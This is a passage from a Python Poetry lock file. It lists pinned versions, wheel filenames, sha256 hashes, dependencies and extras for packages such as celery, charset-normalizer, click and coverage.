"sha256:5c144945a7752ca544b4b78c8c41544cdfaf9786f25fe5ffb10e838e19a27570"}, {file = "backports.zoneinfo-0.2.1-cp37-cp37m-win32.whl", hash = "sha256:e55b384612d93be96506932a786bbcde5a2db7a9e6a4bb4bffe8b733f5b9036b"}, {file = "backports.zoneinfo-0.2.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a76b38c52400b762e48131494ba26be363491ac4f9a04c1b7e92483d169f6582"}, {file = "backports.zoneinfo-0.2.1-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:8961c0f32cd0336fb8e8ead11a1f8cd99ec07145ec2931122faaac1c8f7fd987"}, {file = "backports.zoneinfo-0.2.1-cp38-cp38-manylinux1_i686.whl", hash = "sha256:e81b76cace8eda1fca50e345242ba977f9be6ae3945af8d46326d776b4cf78d1"}, {file = "backports.zoneinfo-0.2.1-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:7b0a64cda4145548fed9efc10322770f929b944ce5cee6c0dfe0c87bf4c0c8c9"}, {file = "backports.zoneinfo-0.2.1-cp38-cp38-win32.whl", hash = "sha256:1b13e654a55cd45672cb54ed12148cd33628f672548f373963b0bff67b217328"}, {file = "backports.zoneinfo-0.2.1-cp38-cp38-win_amd64.whl", hash = "sha256:4a0f800587060bf8880f954dbef70de6c11bbe59c673c3d818921f042f9954a6"}, {file = "backports.zoneinfo-0.2.1.tar.gz", hash = "sha256:fadbfe37f74051d024037f223b8e001611eac868b5c5b06144ef4d8b799862f2"}, ] [package.dependencies] tzdata = {version = "*", optional = true, markers = "extra == \"tzdata\""} [package.extras] tzdata = ["tzdata"] [[package]] name = "billiard" version = "4.2.0" description = "Python multiprocessing fork with improvements and bugfixes" optional = false python-versions = ">=3.7" files = [ {file = "billiard-4.2.0-py3-none-any.whl", hash = "sha256:07aa978b308f334ff8282bd4a746e681b3513db5c9a514cbdd810cbbdc19714d"}, {file = "billiard-4.2.0.tar.gz", hash = "sha256:9a3c3184cb275aa17a732f93f65b20c525d3d9f253722d26a82194803ade5a2c"}, ] [[package]] name = "celery" version = "5.4.0" description = "Distributed Task Queue." optional = false python-versions = ">=3.8" files = [ {file = "celery-5.4.0-py3-none-any.whl", hash = "sha256:369631eb580cf8c51a82721ec538684994f8277637edde2dfc0dacd73ed97f64"}, {file = "celery-5.4.0.tar.gz", hash = "sha256:504a19140e8d3029d5acad88330c541d4c3f64c789d85f94756762d8bca7e706"}, ] [package.dependencies] "backports.zoneinfo" = {version = ">=0.2.1", markers = "python_version < \"3.9\""} billiard = ">=4.2.0,<5.0" click = ">=8.1.2,<9.0" click-didyoumean = ">=0.3.0" click-plugins = ">=1.1.1" click-repl = ">=0.2.0" kombu = ">=5.3.4,<6.0" python-dateutil = ">=2.8.2" tzdata = ">=2022.7" vine = ">=5.1.0,<6.0" [package.extras] arangodb = ["pyArango (>=2.0.2)"] auth = ["cryptography (==42.0.5)"] azureblockblob = ["azure-storage-blob (>=12.15.0)"] brotli = ["brotli (>=1.0.0)", "brotlipy (>=0.7.0)"] cassandra = ["cassandra-driver (>=3.25.0,<4)"] consul = ["python-consul2 (==0.1.5)"] cosmosdbsql = ["pydocumentdb (==2.3.5)"] couchbase = ["couchbase (>=3.0.0)"] couchdb = ["pycouchdb (==1.14.2)"] django = ["Django (>=2.2.28)"] dynamodb = ["boto3 (>=1.26.143)"] elasticsearch = ["elastic-transport (<=8.13.0)", "elasticsearch (<=8.13.0)"] eventlet = ["eventlet (>=0.32.0)"] gcs = ["google-cloud-storage (>=2.10.0)"] gevent = ["gevent (>=1.5.0)"] librabbitmq = ["librabbitmq (>=2.0.0)"] memcache = ["pylibmc (==1.6.3)"] mongodb = ["pymongo[srv] (>=4.0.2)"] msgpack = ["msgpack (==1.0.8)"] pymemcache = ["python-memcached (>=1.61)"] pyro = ["pyro4 (==4.82)"] pytest = ["pytest-celery[all] (>=1.0.0)"] redis = ["redis (>=4.5.2,!=4.5.5,<6.0.0)"] s3 = ["boto3 (>=1.26.143)"] slmq = ["softlayer-messaging (>=1.0.3)"] solar = ["ephem (==4.1.5)"] sqlalchemy = ["sqlalchemy (>=1.4.48,<2.1)"] sqs = ["boto3 (>=1.26.143)", "kombu[sqs] (>=5.3.4)", "pycurl (>=7.43.0.5)", "urllib3 (>=1.26.16)"] tblib = ["tblib (>=1.3.0)", "tblib (>=1.5.0)"] yaml = ["PyYAML (>=3.10)"] zookeeper = ["kazoo (>=1.3.1)"] zstd = ["zstandard (==0.22.0)"] [[package]] name = "certifi" version = "2024.8.30" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" files = [ {file = "certifi-2024.8.30-py3-none-any.whl", hash = "sha256:922820b53db7a7257ffbda3f597266d435245903d80737e34f8a45ff3e3230d8"}, {file = "certifi-2024.8.30.tar.gz", hash = "sha256:bec941d2aa8195e248a60b31ff9f0558284cf01a52591ceda73ea9afffd69fd9"}, ] [[package]] name = "cfgv" version = "3.4.0" description = "Validate configuration and produce human readable error messages." optional = false python-versions = ">=3.8" files = [ {file = "cfgv-3.4.0-py2.py3-none-any.whl", hash = "sha256:b7265b1f29fd3316bfcd2b330d63d024f2bfd8bcb8b0272f8e19a504856c48f9"}, {file = "cfgv-3.4.0.tar.gz", hash = "sha256:e52591d4c5f5dead8e0f673fb16db7949d2cfb3f7da4582893288f0ded8fe560"}, ] [[package]] name = "charset-normalizer" version = "3.3.2" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false python-versions = ">=3.7.0" files = [ {file = "charset-normalizer-3.3.2.tar.gz", hash = "sha256:f30c3cb33b24454a82faecaf01b19c18562b1e89558fb6c56de4d9118a032fd5"}, {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:25baf083bf6f6b341f4121c2f3c548875ee6f5339300e08be3f2b2ba1721cdd3"}, {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:06435b539f889b1f6f4ac1758871aae42dc3a8c0e24ac9e60c2384973ad73027"}, {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9063e24fdb1e498ab71cb7419e24622516c4a04476b17a2dab57e8baa30d6e03"}, {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6897af51655e3691ff853668779c7bad41579facacf5fd7253b0133308cf000d"}, {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1d3193f4a680c64b4b6a9115943538edb896edc190f0b222e73761716519268e"}, {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd70574b12bb8a4d2aaa0094515df2463cb429d8536cfb6c7ce983246983e5a6"}, {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8465322196c8b4d7ab6d1e049e4c5cb460d0394da4a27d23cc242fbf0034b6b5"}, {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a9a8e9031d613fd2009c182b69c7b2c1ef8239a0efb1df3f7c8da66d5dd3d537"}, {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:beb58fe5cdb101e3a055192ac291b7a21e3b7ef4f67fa1d74e331a7f2124341c"}, {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e06ed3eb3218bc64786f7db41917d4e686cc4856944f53d5bdf83a6884432e12"}, {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:2e81c7b9c8979ce92ed306c249d46894776a909505d8f5a4ba55b14206e3222f"}, {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:572c3763a264ba47b3cf708a44ce965d98555f618ca42c926a9c1616d8f34269"}, {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:fd1abc0d89e30cc4e02e4064dc67fcc51bd941eb395c502aac3ec19fab46b519"}, {file = "charset_normalizer-3.3.2-cp310-cp310-win32.whl", hash = "sha256:3d47fa203a7bd9c5b6cee4736ee84ca03b8ef23193c0d1ca99b5089f72645c73"}, {file = "charset_normalizer-3.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:10955842570876604d404661fbccbc9c7e684caf432c09c715ec38fbae45ae09"}, {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:802fe99cca7457642125a8a88a084cef28ff0cf9407060f7b93dca5aa25480db"}, {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:573f6eac48f4769d667c4442081b1794f52919e7edada77495aaed9236d13a96"}, {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:549a3a73da901d5bc3ce8d24e0600d1fa85524c10287f6004fbab87672bf3e1e"}, {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f27273b60488abe721a075bcca6d7f3964f9f6f067c8c4c605743023d7d3944f"}, {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ceae2f17a9c33cb48e3263960dc5fc8005351ee19db217e9b1bb15d28c02574"}, {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:65f6f63034100ead094b8744b3b97965785388f308a64cf8d7c34f2f2e5be0c4"}, {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:753f10e867343b4511128c6ed8c82f7bec3bd026875576dfd88483c5c73b2fd8"}, {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4a78b2b446bd7c934f5dcedc588903fb2f5eec172f3d29e52a9096a43722adfc"}, {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e537484df0d8f426ce2afb2d0f8e1c3d0b114b83f8850e5f2fbea0e797bd82ae"}, {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:eb6904c354526e758fda7167b33005998fb68c46fbc10e013ca97f21ca5c8887"}, {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:deb6be0ac38ece9ba87dea880e438f25ca3eddfac8b002a2ec3d9183a454e8ae"}, {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:4ab2fe47fae9e0f9dee8c04187ce5d09f48eabe611be8259444906793ab7cbce"}, {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80402cd6ee291dcb72644d6eac93785fe2c8b9cb30893c1af5b8fdd753b9d40f"}, {file = "charset_normalizer-3.3.2-cp311-cp311-win32.whl", hash = "sha256:7cd13a2e3ddeed6913a65e66e94b51d80a041145a026c27e6bb76c31a853c6ab"}, {file = "charset_normalizer-3.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:663946639d296df6a2bb2aa51b60a2454ca1cb29835324c640dafb5ff2131a77"}, {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:0b2b64d2bb6d3fb9112bafa732def486049e63de9618b5843bcdd081d8144cd8"}, {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:ddbb2551d7e0102e7252db79ba445cdab71b26640817ab1e3e3648dad515003b"}, {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:55086ee1064215781fff39a1af09518bc9255b50d6333f2e4c74ca09fac6a8f6"}, {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8f4a014bc36d3c57402e2977dada34f9c12300af536839dc38c0beab8878f38a"}, {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a10af20b82360ab00827f916a6058451b723b4e65030c5a18577c8b2de5b3389"}, {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8d756e44e94489e49571086ef83b2bb8ce311e730092d2c34ca8f7d925cb20aa"}, {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90d558489962fd4918143277a773316e56c72da56ec7aa3dc3dbbe20fdfed15b"}, {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac7ffc7ad6d040517be39eb591cac5ff87416c2537df6ba3cba3bae290c0fed"}, {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:7ed9e526742851e8d5cc9e6cf41427dfc6068d4f5a3bb03659444b4cabf6bc26"}, {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:8bdb58ff7ba23002a4c5808d608e4e6c687175724f54a5dade5fa8c67b604e4d"}, {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:6b3251890fff30ee142c44144871185dbe13b11bab478a88887a639655be1068"}, {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_s390x.whl", hash = "sha256:b4a23f61ce87adf89be746c8a8974fe1c823c891d8f86eb218bb957c924bb143"}, {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:efcb3f6676480691518c177e3b465bcddf57cea040302f9f4e6e191af91174d4"}, {file = "charset_normalizer-3.3.2-cp312-cp312-win32.whl", hash = "sha256:d965bba47ddeec8cd560687584e88cf699fd28f192ceb452d1d7ee807c5597b7"}, {file = "charset_normalizer-3.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:96b02a3dc4381e5494fad39be677abcb5e6634bf7b4fa83a6dd3112607547001"}, {file = "charset_normalizer-3.3.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:95f2a5796329323b8f0512e09dbb7a1860c46a39da62ecb2324f116fa8fdc85c"}, {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c002b4ffc0be611f0d9da932eb0f704fe2602a9a949d1f738e4c34c75b0863d5"}, {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a981a536974bbc7a512cf44ed14938cf01030a99e9b3a06dd59578882f06f985"}, {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3287761bc4ee9e33561a7e058c72ac0938c4f57fe49a09eae428fd88aafe7bb6"}, {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:42cb296636fcc8b0644486d15c12376cb9fa75443e00fb25de0b8602e64c1714"}, {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0a55554a2fa0d408816b3b5cedf0045f4b8e1a6065aec45849de2d6f3f8e9786"}, {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:c083af607d2515612056a31f0a8d9e0fcb5876b7bfc0abad3ecd275bc4ebc2d5"}, {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:87d1351268731db79e0f8e745d92493ee2841c974128ef629dc518b937d9194c"}, {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:bd8f7df7d12c2db9fab40bdd87a7c09b1530128315d047a086fa3ae3435cb3a8"}, {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:c180f51afb394e165eafe4ac2936a14bee3eb10debc9d9e4db8958fe36afe711"}, {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:8c622a5fe39a48f78944a87d4fb8a53ee07344641b0562c540d840748571b811"}, {file = "charset_normalizer-3.3.2-cp37-cp37m-win32.whl", hash = "sha256:db364eca23f876da6f9e16c9da0df51aa4f104a972735574842618b8c6d999d4"}, {file = "charset_normalizer-3.3.2-cp37-cp37m-win_amd64.whl", hash = "sha256:86216b5cee4b06df986d214f664305142d9c76df9b6512be2738aa72a2048f99"}, {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:6463effa3186ea09411d50efc7d85360b38d5f09b870c48e4600f63af490e56a"}, {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6c4caeef8fa63d06bd437cd4bdcf3ffefe6738fb1b25951440d80dc7df8c03ac"}, {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:37e55c8e51c236f95b033f6fb391d7d7970ba5fe7ff453dad675e88cf303377a"}, {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fb69256e180cb6c8a894fee62b3afebae785babc1ee98b81cdf68bbca1987f33"}, {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ae5f4161f18c61806f411a13b0310bea87f987c7d2ecdbdaad0e94eb2e404238"}, {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b2b0a0c0517616b6869869f8c581d4eb2dd83a4d79e0ebcb7d373ef9956aeb0a"}, {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45485e01ff4d3630ec0d9617310448a8702f70e9c01906b0d0118bdf9d124cf2"}, {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eb00ed941194665c332bf8e078baf037d6c35d7c4f3102ea2d4f16ca94a26dc8"}, {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2127566c664442652f024c837091890cb1942c30937add288223dc895793f898"}, {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a50aebfa173e157099939b17f18600f72f84eed3049e743b68ad15bd69b6bf99"}, {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4d0d1650369165a14e14e1e47b372cfcb31d6ab44e6e33cb2d4e57265290044d"}, {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:923c0c831b7cfcb071580d3f46c4baf50f174be571576556269530f4bbd79d04"}, {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:06a81e93cd441c56a9b65d8e1d043daeb97a3d0856d177d5c90ba85acb3db087"}, {file = "charset_normalizer-3.3.2-cp38-cp38-win32.whl", hash = "sha256:6ef1d82a3af9d3eecdba2321dc1b3c238245d890843e040e41e470ffa64c3e25"}, {file = "charset_normalizer-3.3.2-cp38-cp38-win_amd64.whl", hash = "sha256:eb8821e09e916165e160797a6c17edda0679379a4be5c716c260e836e122f54b"}, {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c235ebd9baae02f1b77bcea61bce332cb4331dc3617d254df3323aa01ab47bd4"}, {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5b4c145409bef602a690e7cfad0a15a55c13320ff7a3ad7ca59c13bb8ba4d45d"}, {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:68d1f8a9e9e37c1223b656399be5d6b448dea850bed7d0f87a8311f1ff3dabb0"}, {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22afcb9f253dac0696b5a4be4a1c0f8762f8239e21b99680099abd9b2b1b2269"}, {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e27ad930a842b4c5eb8ac0016b0a54f5aebbe679340c26101df33424142c143c"}, {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f79682fbe303db92bc2b1136016a38a42e835d932bab5b3b1bfcfbf0640e519"}, {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b261ccdec7821281dade748d088bb6e9b69e6d15b30652b74cbbac25e280b796"}, {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:122c7fa62b130ed55f8f285bfd56d5f4b4a5b503609d181f9ad85e55c89f4185"}, {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:d0eccceffcb53201b5bfebb52600a5fb483a20b61da9dbc885f8b103cbe7598c"}, {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9f96df6923e21816da7e0ad3fd47dd8f94b2a5ce594e00677c0013018b813458"}, {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:7f04c839ed0b6b98b1a7501a002144b76c18fb1c1850c8b98d458ac269e26ed2"}, {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:34d1c8da1e78d2e001f363791c98a272bb734000fcef47a491c1e3b0505657a8"}, {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:ff8fa367d09b717b2a17a052544193ad76cd49979c805768879cb63d9ca50561"}, {file = "charset_normalizer-3.3.2-cp39-cp39-win32.whl", hash = "sha256:aed38f6e4fb3f5d6bf81bfa990a07806be9d83cf7bacef998ab1a9bd660a581f"}, {file = "charset_normalizer-3.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:b01b88d45a6fcb69667cd6d2f7a9aeb4bf53760d7fc536bf679ec94fe9f3ff3d"}, {file = "charset_normalizer-3.3.2-py3-none-any.whl", hash = "sha256:3e4d1f6587322d2788836a99c69062fbb091331ec940e02d12d179c1d53e25fc"}, ] [[package]] name = "click" version = "8.1.7" description = "Composable command line interface toolkit" optional = false python-versions = ">=3.7" files = [ {file = "click-8.1.7-py3-none-any.whl", hash = "sha256:ae74fb96c20a0277a1d615f1e4d73c8414f5a98db8b799a7931d1582f3390c28"}, {file = "click-8.1.7.tar.gz", hash = "sha256:ca9853ad459e787e2192211578cc907e7594e294c7ccc834310722b41b9ca6de"}, ] [package.dependencies] colorama = {version = "*", markers = "platform_system == \"Windows\""} [[package]] name = "click-didyoumean" version = "0.3.1" description = "Enables git-like *did-you-mean* feature in click" optional = false python-versions = ">=3.6.2" files = [ {file = "click_didyoumean-0.3.1-py3-none-any.whl", hash = "sha256:5c4bb6007cfea5f2fd6583a2fb6701a22a41eb98957e63d0fac41c10e7c3117c"}, {file = "click_didyoumean-0.3.1.tar.gz", hash = "sha256:4f82fdff0dbe64ef8ab2279bd6aa3f6a99c3b28c05aa09cbfc07c9d7fbb5a463"}, ] [package.dependencies] click = ">=7" [[package]] name = "click-plugins" version = "1.1.1" description = "An extension module for click to enable registering CLI commands via setuptools entry-points." optional = false python-versions = "*" files = [ {file = "click-plugins-1.1.1.tar.gz", hash = "sha256:46ab999744a9d831159c3411bb0c79346d94a444df9a3a3742e9ed63645f264b"}, {file = "click_plugins-1.1.1-py2.py3-none-any.whl", hash = "sha256:5d262006d3222f5057fd81e1623d4443e41dcda5dc815c06b442aa3c02889fc8"}, ] [package.dependencies] click = ">=4.0" [package.extras] dev = ["coveralls", "pytest (>=3.6)", "pytest-cov", "wheel"] [[package]] name = "click-repl" version = "0.3.0" description = "REPL plugin for Click" optional = false python-versions = ">=3.6" files = [ {file = "click-repl-0.3.0.tar.gz", hash = "sha256:17849c23dba3d667247dc4defe1757fff98694e90fe37474f3feebb69ced26a9"}, {file = "click_repl-0.3.0-py3-none-any.whl", hash = "sha256:fb7e06deb8da8de86180a33a9da97ac316751c094c6899382da7feeeeb51b812"}, ] [package.dependencies] click = ">=7.0" prompt-toolkit = ">=3.0.36" [package.extras] testing = ["pytest (>=7.2.1)", "pytest-cov (>=4.0.0)", "tox (>=4.4.3)"] [[package]] name = "colorama" version = "0.4.6" description = "Cross-platform colored terminal text." optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" files = [ {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, ] [[package]] name = "coverage" version = "6.5.0" description = "Code coverage measurement for Python" optional = false python-versions = ">=3.7" files = [ {file = "coverage-6.5.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ef8674b0ee8cc11e2d574e3e2998aea5df5ab242e012286824ea3c6970580e53"}, {file = "coverage-6.5.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:784f53ebc9f3fd0e2a3f6a78b2be1bd1f5575d7863e10c6e12504f240fd06660"}, {file = "coverage-6.5.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b4a5be1748d538a710f87542f22c2cad22f80545a847ad91ce45e77417293eb4"}, {file = "coverage-6.5.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:83516205e254a0cb77d2d7bb3632ee019d93d9f4005de31dca0a8c3667d5bc04"}, {file = "coverage-6.5.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:af4fffaffc4067232253715065e30c5a7ec6faac36f8fc8d6f64263b15f74db0"}, {file = "coverage-6.5.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:97117225cdd992a9c2a5515db1f66b59db634f59d0679ca1fa3fe8da32749cae"}, {file = "coverage-6.5.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:a1170fa54185845505fbfa672f1c1ab175446c887cce8212c44149581cf2d466"}, {file = "coverage-6.5.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:11b990d520ea75e7ee8dcab5bc908072aaada194a794db9f6d7d5cfd19661e5a"}, {file = "coverage-6.5.0-cp310-cp310-win32.whl", hash = "sha256:5dbec3b9095749390c09ab7c89d314727f18800060d8d24e87f01fb9cfb40b32"}, {file = "coverage-6.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:59f53f1dc5b656cafb1badd0feb428c1e7bc19b867479ff72f7a9dd9b479f10e"}, {file = "coverage-6.5.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4a5375e28c5191ac38cca59b38edd33ef4cc914732c916f2929029b4bfb50795"}, {file = "coverage-6.5.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4ed2820d919351f4167e52425e096af41bfabacb1857186c1ea32ff9983ed75"}, {file = "coverage-6.5.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:33a7da4376d5977fbf0a8ed91c4dffaaa8dbf0ddbf4c8eea500a2486d8bc4d7b"}, {file = "coverage-6.5.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a8fb6cf131ac4070c9c5a3e21de0f7dc5a0fbe8bc77c9456ced896c12fcdad91"}, {file = "coverage-6.5.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a6b7d95969b8845250586f269e81e5dfdd8ff828ddeb8567a4a2eaa7313460c4"}, {file = "coverage-6.5.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:1ef221513e6f68b69ee9e159506d583d31aa3567e0ae84eaad9d6ec1107dddaa"}, {file = "coverage-6.5.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cca4435eebea7962a52bdb216dec27215d0df64cf27fc1dd538415f5d2b9da6b"}, {file = "coverage-6.5.0-cp311-cp311-win32.whl", hash = "sha256:98e8a10b7a314f454d9eff4216a9a94d143a7ee65018dd12442e898ee2310578"}, {file = "coverage-6.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:bc8ef5e043a2af066fa8cbfc6e708d58017024dc4345a1f9757b329a249f041b"}, {file = "coverage-6.5.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = 